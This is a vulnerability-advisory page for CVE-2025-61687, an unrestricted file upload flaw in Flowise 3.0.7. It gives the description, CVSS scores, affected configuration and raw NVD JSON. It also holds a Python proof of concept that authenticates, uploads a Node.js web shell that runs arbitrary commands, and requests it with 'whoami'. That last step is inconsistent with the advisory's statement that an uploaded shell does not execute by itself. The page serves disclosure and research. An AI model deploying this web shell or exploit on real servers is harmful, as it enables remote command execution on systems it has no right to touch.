Security Vulnerability Report
中文
CVE-2025-61687 CVSS 8.3 HIGH

CVE-2025-61687

Published: 2025-10-06 16:15:35
Last Modified: 2025-10-16 18:12:37

Description

Flowise is a drag & drop user interface to build a customized large language model flow. A file upload vulnerability in version 3.0.7 of FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. This presents a high-severity threat to system integrity and confidentiality. As of time of publication, no known patched versions are available.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flowiseai:flowise:3.0.7:*:*:*:*:*:*:* - VULNERABLE
FlowiseAI Flowise 3.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61687 PoC - FlowiseAI Flowise Arbitrary File Upload to RCE # Vulnerability: Unrestricted file upload in attachments endpoint # Affected: FlowiseAI Flowise version 3.0.7 import requests # Target configuration TARGET_URL = "http://target-flowise-server:3000" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain session/token session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_payload) token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Create a malicious Node.js web shell payload web_shell_content = ''' const express = require('express'); const { exec } = require('child_process'); const app = express(); app.get('/shell', (req, res) => { const cmd = req.query.cmd || 'id'; exec(cmd, (error, stdout, stderr) => { res.send(`<pre>${stdout || stderr}</pre>`); }); }); app.listen(0, () => console.log('Shell active')); ''' # Step 3: Upload the web shell via the attachments endpoint files = { "file": ("shell.js", web_shell_content, "application/javascript") } upload_resp = session.post( f"{TARGET_URL}/api/v1/attachments/upload", files=files, headers=headers ) print(f"Upload response: {upload_resp.status_code}") print(f"Uploaded file location: {upload_resp.json()}") # Step 4: Access the uploaded web shell to execute commands shell_url = upload_resp.json().get("location", "/uploads/shell.js") exploit_resp = session.get(f"{TARGET_URL}{shell_url}?cmd=whoami") print(f"RCE output: {exploit_resp.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61687", "sourceIdentifier": "[email protected]", "published": "2025-10-06T16:15:35.223", "lastModified": "2025-10-16T18:12:37.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise is a drag & drop user interface to build a customized large language model flow. A file upload vulnerability in version 3.0.7 of FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. This presents a high-severity threat to system integrity and confidentiality. As of time of publication, no known patched versions are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:3.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "E101AC09-6DF5-4FA1-853F-6CD805A8122F"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}